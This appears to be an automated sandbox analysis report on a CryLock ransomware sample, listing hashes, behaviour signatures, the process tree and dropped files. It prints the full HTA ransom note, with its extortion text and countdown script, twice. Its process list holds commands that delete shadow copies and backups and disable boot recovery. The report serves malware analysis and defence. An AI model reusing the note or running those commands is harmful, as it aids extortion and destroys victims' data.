Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    31-12-2023 08:32

General

  • Target

    2f2d4eb24662c916f822f9c3fd55c9b2.exe

  • Size

    206KB

  • MD5

    2f2d4eb24662c916f822f9c3fd55c9b2

  • SHA1

    9d5bda347f70b8f928803a28782a1018d9f2d0e0

  • SHA256

    4a47769cf06cd353a24bf01392a154fb5c9c97547e63382d1859f6b90448b2ba

  • SHA512

    1cc68736ac883a60f1113f183fa68b344b86dffc6b3853dbabbc626eb02fd69b9eb3801891c07193ab3684419e7346d4a1d0c37a5de6523df0dabae1b0051bb5

  • SSDEEP

    3072:0bOTRwYckApvw14pcODvX/kyeAYcWNzs2C3Zm4YSYoj1ZYJJCpdXfabI8AKgcJuU:wOsZiKRJWWY1dJJQdHrYuFC

Malware Config

Extracted

Family

crylock

Attributes
  • emails

    [email protected]

    [email protected]

  • ransomnote

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <title>CryLock</title> <hta:application showInTaskBar="no" APPLICATION="yes" ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no" applicationname="CryLock" border="thick" contexmenu="no" scroll="no" selection="yes" singleinstance="yes" windowstate="normal" MAXIMIZEBUTTON="NO" BORDER="DIALOG" width="100" height="100" MINIMIZEBUTTON="NO"></hta:application> <script language="JavaScript"> var max_discount = 50; var start_date = new Date('<%START_DATETIME%>'); var discount_date = new Date('<%DOUBLE_DATETIME%>'); var end_date = new Date('<%UNDECRYPT_DATETIME%>'); var main_contact = '<%MAIN_CONTACT%>'; var hid = '[<%HID%>]'; var second_contact = '<%RESERVE_CONTACT%>'; var sd = end_date; var dn = new Date(); var zoc, ddGlobal; function document.onblur() { alert('Attention! This important information for you!'); } function setContacts() { document.getElementById('main_contact').innerHTML = main_contact; document.getElementById('second_contact').innerHTML = second_contact; document.getElementById('hid').innerHTML = hid; } function countDiscount() { var term_current = new Date().getTime() - start_date.getTime(); var term_full = discount_date.getTime() - start_date.getTime(); var delta = discount_date.getTime() - new Date().getTime(); delta = new Date(delta); var dt = document.getElementById('pwr'); var timer_discount = document.getElementById('timer_discount'); var discount = document.getElementById('discount'); var hours_to_end = Math.floor(term_full / 1000 / 3600); var hours_current = Math.floor(term_current / 1000 / 3600); if (discount_date.getTime() > dn.getTime()) { var disc_per_hour = parseFloat(max_discount / hours_to_end).toFixed(2); var cur_discount = Math.floor(max_discount - (disc_per_hour * hours_current)); if (discount) { discount.innerHTML = cur_discount + '% discount'; } } if (cur_discount <= 25) { dt.style.cssText = 'border: 1px solid #FFC000;'; if (timer_discount) { timer_discount.style.background = '#FFC000'; } } if (sd.getTime() < dn.getTime() || cur_discount < 5) { dt.style.cssText = 'border: 1px solid #F53636; background-color: #F53636; padding: 16px 20px;'; dt.innerHTML = '<div style="font-size: 16px; color: #ffffff; text-align: center; display: block; font-weight: bold;">Decryption key can be bought at standard cost.</div><div style="font-size: 13px; color: #fff; text-align: center; margin-top: 10px">You need to hurry up to decrypt your data because all your files will be destroyed soon.</div>'; } var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } if (timer_discount) { timer_discount.innerHTML = dd + ' ' + hh+':'+mm+':'+ss; } } function ChangeTime() { var sd = end_date; var dn = new Date(); if (sd.getTime() < dn.getTime()) { var dt = document.getElementById('lctw'); dt.innerHTML = '<b>Soon, you won\'t be able to decrypt your files. Contact us immediately!</b>'; dt.style.cssText = 'background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px; text-align: center; font-size: 20px;'; zoc = 2; } else { var delta = sd.getTime() - dn.getTime(); delta = new Date(delta); var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); ddGlobal = parseInt(dd); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt = document.getElementById('file_lost'); if (dt) { dt.innerHTML= dd+' &nbsp;&nbsp;&nbsp; '+hh+':'+mm+':'+ss; } } } var count = 100, interval = 10, intervalID; function blink() { if (ddGlobal == 0 && zoc != 2) { var dt = document.getElementById('file_lost'); var dt2 = document.getElementById('text_file_lost'); var test = document.getElementById('test'); if (count == 100) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count - 2; if (count == 20) clearInterval(intervalId); }, interval); } if (count == 20) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count + 2; if (count == 100) clearInterval(intervalId); }, interval); } } } function getRandomArbitrary(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } function Rndom() { var dt=document.getElementById('rc'); var xx=''; var i=0; while (i < 40) { xx=xx+getRandomArbitrary(0,2); i=i+1; } rc.innerHTML= xx; } function Start() { window.resizeTo(850,720); setContacts(); ChangeTime(); setInterval(ChangeTime, 1000); countDiscount(); setInterval(countDiscount, 1000); setInterval(blink, 100); setInterval(Rndom,100); } function copytext(s) { window.clipboardData.setData("Text",s); alert(s+' copied to clipboard'); } function Restart() { alert('Attention! This important information for you!'); } </script> <body style="background: #000; font: 12px 'Arial', sans-serif; padding: 0; margin: 0;" onload="Start();"> <div style="height: 100%; position: absolute; top: 0; left: 0; background-color: #ffffff; box-sizing: border-box; padding: 20px; overflow-x: hidden;overflow-y: hidden;"> <div style="background-color: #000000; width: 100%; height: 55px;" id="header"> <div style="color: #F53636; font-weight: bold; font-size: 40px; text-transform: uppercase; line-height: 54px; padding-left: 8px; float: left;">ENCRYPTED</div> <div style="font-size: 18px; color: #7E7E7E; float: right; line-height: 55px; padding-right: 17px;" id="rc">11100001111011111111100001111011111100</div> </div> <div style="clear: both; float: none; height: 18px; width: 100%;"></div> <div> <div style="float: left; width: 144px; height: 110px; background-color: #000000; color: #ffffff; text-align: center; line-height: 1;"> <b style="display: block; font-size: 43px; margin-top: 24px;">What</b> <b style="display: block; font-size: 20px;">happened?</b> </div> <div style="float: right; width: 630px;"> <b style="font-size: 13px; color: #F53636;">All your documents, databases, backups, and other critical files were encrypted.</b> <div>Our software used the AES cryptographic algorithm (you can find related information in Wikipedia).</div> <br> <div>It happened because of security problems on your server, and you cannot use any of these files anymore. The only way to recover your data is to buy a decryption key from us. </div> <br> <div>To do this, please send your unique ID to the contacts below.</div> </div> <div style="clear: both; float: none; height: 18px; width: 100%;"></div> </div> <div> <div style="float: left; width: 540px;"> <div style="background: #EDEDED; height: 63px; line-height: 63px; margin-bottom: 5px; cursor: pointer;" OnClick="copytext(main_contact)"> <div style="width: 80px; float: left; font-size: 16px; color: #737373; padding-left: 18px;">E-mail:</div> <b style="float: left; font-size: 14px; padding-left: 76px;" id="main_contact"></b> <div href="#" style="float: right; padding-right: 18px; font-size: 16px; color: #828282; font-weight: bold;" >copy</div> <div style="clear: both; float: none;"></div> </div> <div style="background: #EDEDED; height: 63px; line-height: 63px; margin-bottom: 5px; cursor: pointer;" OnClick="copytext(hid)"> <div style="width: 80px; float: left; font-size: 16px; color: #737373; padding-left: 18px;">Unique ID:</div> <b style="float: left; font-size: 14px; padding-left: 76px;" id="hid"></b> <div href="#" style="float: right; padding-right: 18px; font-size: 16px; color: #828282; font-weight: bold;" >copy</div> <div style="clear: both; float: none;"></div> </div> <div style="margin-top: 17px; line-height: 18px;">Right after payment, we will send you a specific decoding software that will decrypt all of your files. If you have not received the response within 24 hours, please contact us by e-mail <span style="text-decoration: underline;" OnClick="copytext(second_contact)" id="second_contact"></span>.</div> </div> <div style="float: right; width: 230px;"> <div style="border: 1px solid #2FAB61;" id="pwr"> <div style="padding: 13px 14px 3px 14px; text-align: center; font-size: 14px;">During a short period, you can buy a decryption key with a </div> <div style="font-size: 25px; text-align: center; display: block; font-weight: bold;" id="discount">50% discount</div> <div id="timer_discount" style="margin-top: 10px; background-color: #219653; padding: 5px 0; text-align: center; font-size: 25px; font-weight: bold; color: #ffffff;">--:--:-- left</div> </div> <div style="margin-top: 17px; line-height: 18px;">The price depends on how soon you will contact us.</div> </div> <div style="clear: both; float: none;"></div> </div> <div style="background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px" id="lctw"> <div style="float: left; font-size: 20px; padding-top: 3px;" id="text_file_lost">All your files will be deleted permanently in:</div> <div style="float: right; font-size: 25px;" id="file_lost"></div> <div style="clear: both; float: none;"></div> </div> <div> <div style="float: left; width: 540px;"> <b style="margin-bottom: 11px; font-size: 14px; display: block;">Attention! <div id="test"></div></b> <ul style="list-style: none; padding: 0; margin: 0;"> <li style="position: relative; padding-left: 20px; font-size: 12px; margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not try to recover files yourself.</span> this process can damage your data and recovery will become impossible.</li> <li style="position: relative; padding-left: 20px; font-size: 12px; margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not waste time trying to find the solution on the Internet.</span> The longer you wait, the higher will become the decryption key price.</li> <li style="position: relative; padding-left: 20px; font-size: 12px margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not contact any intermediaries.</span> They will buy the key from us and sell it to you at a higher price.</li> </ul> </div> <div style="float: right; width: 230px;"> <b style="margin-bottom: 11px; font-size: 14px; display: block;">What guarantees do you have?</b> <div>Before payment, we can decrypt three files for free. The total file size should be less than 5MB (before archiving), and the files should not contain any important information (databases, backups, large tables, etc.)</div> </div> <div style="clear: both; float: none;"></div> </div> </div> </body> </html>

rsa_pubkey.plain

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-3627615824-4061627003-3019543961-1000\how_to_decrypt.hta

Ransom Note
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <title>CryLock</title> <hta:application showInTaskBar="no" APPLICATION="yes" ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no" applicationname="CryLock" border="thick" contexmenu="no" scroll="no" selection="yes" singleinstance="yes" windowstate="normal" MAXIMIZEBUTTON="NO" BORDER="DIALOG" width="100" height="100" MINIMIZEBUTTON="NO"></hta:application> <script language="JavaScript"> var max_discount = 50; var start_date = new Date('January 3 2024 21:52:49'); var discount_date = new Date('January 5 2024 21:52:49'); var end_date = new Date('January 6 2024 21:52:49'); var main_contact = '[email protected]'; var hid = '[8D4A7D42-0DE8844C]'; var second_contact = '[email protected]'; var sd = end_date; var dn = new Date(); var zoc, ddGlobal; function document.onblur() { alert('Attention! This important information for you!'); } function setContacts() { document.getElementById('main_contact').innerHTML = main_contact; document.getElementById('second_contact').innerHTML = second_contact; document.getElementById('hid').innerHTML = hid; } function countDiscount() { var term_current = new Date().getTime() - start_date.getTime(); var term_full = discount_date.getTime() - start_date.getTime(); var delta = discount_date.getTime() - new Date().getTime(); delta = new Date(delta); var dt = document.getElementById('pwr'); var timer_discount = document.getElementById('timer_discount'); var discount = document.getElementById('discount'); var hours_to_end = Math.floor(term_full / 1000 / 3600); var hours_current = Math.floor(term_current / 1000 / 3600); if (discount_date.getTime() > dn.getTime()) { var disc_per_hour = parseFloat(max_discount / hours_to_end).toFixed(2); var cur_discount = Math.floor(max_discount - (disc_per_hour * hours_current)); if (discount) { discount.innerHTML = cur_discount + '% discount'; } } if (cur_discount <= 25) { dt.style.cssText = 'border: 1px solid #FFC000;'; if (timer_discount) { timer_discount.style.background = '#FFC000'; } } if (sd.getTime() < dn.getTime() || cur_discount < 5) { dt.style.cssText = 'border: 1px solid #F53636; background-color: #F53636; padding: 16px 20px;'; dt.innerHTML = '<div style="font-size: 16px; color: #ffffff; text-align: center; display: block; font-weight: bold;">Decryption key can be bought at standard cost.</div><div style="font-size: 13px; color: #fff; text-align: center; margin-top: 10px">You need to hurry up to decrypt your data because all your files will be destroyed soon.</div>'; } var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } if (timer_discount) { timer_discount.innerHTML = dd + ' ' + hh+':'+mm+':'+ss; } } function ChangeTime() { var sd = end_date; var dn = new Date(); if (sd.getTime() < dn.getTime()) { var dt = document.getElementById('lctw'); dt.innerHTML = '<b>Soon, you won\'t be able to decrypt your files. Contact us immediately!</b>'; dt.style.cssText = 'background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px; text-align: center; font-size: 20px;'; zoc = 2; } else { var delta = sd.getTime() - dn.getTime(); delta = new Date(delta); var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); ddGlobal = parseInt(dd); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt = document.getElementById('file_lost'); if (dt) { dt.innerHTML= dd+' &nbsp;&nbsp;&nbsp; '+hh+':'+mm+':'+ss; } } } var count = 100, interval = 10, intervalID; function blink() { if (ddGlobal == 0 && zoc != 2) { var dt = document.getElementById('file_lost'); var dt2 = document.getElementById('text_file_lost'); var test = document.getElementById('test'); if (count == 100) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count - 2; if (count == 20) clearInterval(intervalId); }, interval); } if (count == 20) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count + 2; if (count == 100) clearInterval(intervalId); }, interval); } } } function getRandomArbitrary(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } function Rndom() { var dt=document.getElementById('rc'); var xx=''; var i=0; while (i < 40) { xx=xx+getRandomArbitrary(0,2); i=i+1; } rc.innerHTML= xx; } function Start() { window.resizeTo(850,720); setContacts(); ChangeTime(); setInterval(ChangeTime, 1000); countDiscount(); setInterval(countDiscount, 1000); setInterval(blink, 100); setInterval(Rndom,100); } function copytext(s) { window.clipboardData.setData("Text",s); alert(s+' copied to clipboard'); } function Restart() { alert('Attention! This important information for you!'); } </script> <body style="background: #000; font: 12px 'Arial', sans-serif; padding: 0; margin: 0;" onload="Start();"> <div style="height: 100%; position: absolute; top: 0; left: 0; background-color: #ffffff; box-sizing: border-box; padding: 20px; overflow-x: hidden;overflow-y: hidden;"> <div style="background-color: #000000; width: 100%; height: 55px;" id="header"> <div style="color: #F53636; font-weight: bold; font-size: 40px; text-transform: uppercase; line-height: 54px; padding-left: 8px; float: left;">ENCRYPTED</div> <div style="font-size: 18px; color: #7E7E7E; float: right; line-height: 55px; padding-right: 17px;" id="rc">11100001111011111111100001111011111100</div> </div> <div style="clear: both; float: none; height: 18px; width: 100%;"></div> <div> <div style="float: left; width: 144px; height: 110px; background-color: #000000; color: #ffffff; text-align: center; line-height: 1;"> <b style="display: block; font-size: 43px; margin-top: 24px;">What</b> <b style="display: block; font-size: 20px;">happened?</b> </div> <div style="float: right; width: 630px;"> <b style="font-size: 13px; color: #F53636;">All your documents, databases, backups, and other critical files were encrypted.</b> <div>Our software used the AES cryptographic algorithm (you can find related information in Wikipedia).</div> <br> <div>It happened because of security problems on your server, and you cannot use any of these files anymore. The only way to recover your data is to buy a decryption key from us. </div> <br> <div>To do this, please send your unique ID to the contacts below.</div> </div> <div style="clear: both; float: none; height: 18px; width: 100%;"></div> </div> <div> <div style="float: left; width: 540px;"> <div style="background: #EDEDED; height: 63px; line-height: 63px; margin-bottom: 5px; cursor: pointer;" OnClick="copytext(main_contact)"> <div style="width: 80px; float: left; font-size: 16px; color: #737373; padding-left: 18px;">E-mail:</div> <b style="float: left; font-size: 14px; padding-left: 76px;" id="main_contact"></b> <div href="#" style="float: right; padding-right: 18px; font-size: 16px; color: #828282; font-weight: bold;" >copy</div> <div style="clear: both; float: none;"></div> </div> <div style="background: #EDEDED; height: 63px; line-height: 63px; margin-bottom: 5px; cursor: pointer;" OnClick="copytext(hid)"> <div style="width: 80px; float: left; font-size: 16px; color: #737373; padding-left: 18px;">Unique ID:</div> <b style="float: left; font-size: 14px; padding-left: 76px;" id="hid"></b> <div href="#" style="float: right; padding-right: 18px; font-size: 16px; color: #828282; font-weight: bold;" >copy</div> <div style="clear: both; float: none;"></div> </div> <div style="margin-top: 17px; line-height: 18px;">Right after payment, we will send you a specific decoding software that will decrypt all of your files. If you have not received the response within 24 hours, please contact us by e-mail <span style="text-decoration: underline;" OnClick="copytext(second_contact)" id="second_contact"></span>.</div> </div> <div style="float: right; width: 230px;"> <div style="border: 1px solid #2FAB61;" id="pwr"> <div style="padding: 13px 14px 3px 14px; text-align: center; font-size: 14px;">During a short period, you can buy a decryption key with a </div> <div style="font-size: 25px; text-align: center; display: block; font-weight: bold;" id="discount">50% discount</div> <div id="timer_discount" style="margin-top: 10px; background-color: #219653; padding: 5px 0; text-align: center; font-size: 25px; font-weight: bold; color: #ffffff;">--:--:-- left</div> </div> <div style="margin-top: 17px; line-height: 18px;">The price depends on how soon you will contact us.</div> </div> <div style="clear: both; float: none;"></div> </div> <div style="background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px" id="lctw"> <div style="float: left; font-size: 20px; padding-top: 3px;" id="text_file_lost">All your files will be deleted permanently in:</div> <div style="float: right; font-size: 25px;" id="file_lost"></div> <div style="clear: both; float: none;"></div> </div> <div> <div style="float: left; width: 540px;"> <b style="margin-bottom: 11px; font-size: 14px; display: block;">Attention! <div id="test"></div></b> <ul style="list-style: none; padding: 0; margin: 0;"> <li style="position: relative; padding-left: 20px; font-size: 12px; margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not try to recover files yourself.</span> this process can damage your data and recovery will become impossible.</li> <li style="position: relative; padding-left: 20px; font-size: 12px; margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not waste time trying to find the solution on the Internet.</span> The longer you wait, the higher will become the decryption key price.</li> <li style="position: relative; padding-left: 20px; font-size: 12px margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not contact any intermediaries.</span> They will buy the key from us and sell it to you at a higher price.</li> </ul> </div> <div style="float: right; width: 230px;"> <b style="margin-bottom: 11px; font-size: 14px; display: block;">What guarantees do you have?</b> <div>Before payment, we can decrypt three files for free. The total file size should be less than 5MB (before archiving), and the files should not contain any important information (databases, backups, large tables, etc.)</div> </div> <div style="clear: both; float: none;"></div> </div> </div> </body> </html>

Signatures

  • Crylock

    Ransomware family, which is a new variant of Cryakl ransomware.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Drops desktop.ini file(s) 37 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2f2d4eb24662c916f822f9c3fd55c9b2.exe
    "C:\Users\Admin\AppData\Local\Temp\2f2d4eb24662c916f822f9c3fd55c9b2.exe"
    1⤵
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
      2⤵
        PID:2672
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} recoveryenabled No"
        2⤵
          PID:2608
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c "wmic SHADOWCOPY DELETE"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2772
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE BACKUP -keepVersions:0"
          2⤵
            PID:2740
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0"
            2⤵
              PID:2424
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c "vssadmin delete shadows /all /quiet"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2808
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2304
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic SHADOWCOPY DELETE
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2692
          • C:\Windows\SysWOW64\vssadmin.exe
            vssadmin delete shadows /all /quiet
            1⤵
            • Interacts with shadow copies
            PID:2552

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\$Recycle.Bin\S-1-5-21-3627615824-4061627003-3019543961-1000\desktop.ini

            Filesize

            930B

            MD5

            29f138787258ee0e5674a096a974f0b4

            SHA1

            10128b0fc4fa700058eac57507c64519f3d88bd5

            SHA256

            d5c16309e92125f34dfea9c92bbcd3ebda678a2d47d2cb71b8bc155f2de3a138

            SHA512

            c34c1935d189c74bf50175e6b353cf2aa0af88727df000552dab6458d4038119143f1f4c6f00c0a802985dfc1f3ad342b147df368b4f0444c0a48e7ba12923cd

          • C:\$Recycle.Bin\S-1-5-21-3627615824-4061627003-3019543961-1000\how_to_decrypt.hta

            Filesize

            13KB

            MD5

            cd4a8374f936473253e26b52f2034052

            SHA1

            c1f87c822fdea80050309321e9ae0eff6f8045f6

            SHA256

            07e83520efab44b2f9dd946a9f6f260c2160092896fd33c3230b6db713732970

            SHA512

            4a0800e5f62e74a8dd9ffa7c5a0f3670360a08eac0b2f2bec4d0ecafc02da0a3342da8ab827a79a79144a7af4612e715fa4679120b1f379af378dd2dbe9f72d3

          • C:\Users\Admin\AppData\Local\Temp\c-1704318769.log

            Filesize

            4KB

            MD5

            5ace3207bc8d4634b193d63e0213bc72

            SHA1

            2c9197ab29078a250ef8df45b66411c9e8cdce59

            SHA256

            8db4c530a10003808eabe2da24530ef50747f35549be1f8be9e998e97613efe1

            SHA512

            119a4da1f6725d615bdcb0a583b46664068ecf0eb6761d15d948b79439d51578c665543359e591ec94fdcbc8ff04cadd8e3455856f9780340ce6d56182c0daa3

          • memory/2364-2665-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-10-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-1073-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-1867-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-1906-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-1-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-9-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2693-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2892-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2891-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2890-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2893-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2894-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB

          • memory/2364-2895-0x0000000000400000-0x000000000043B000-memory.dmp

            Filesize

            236KB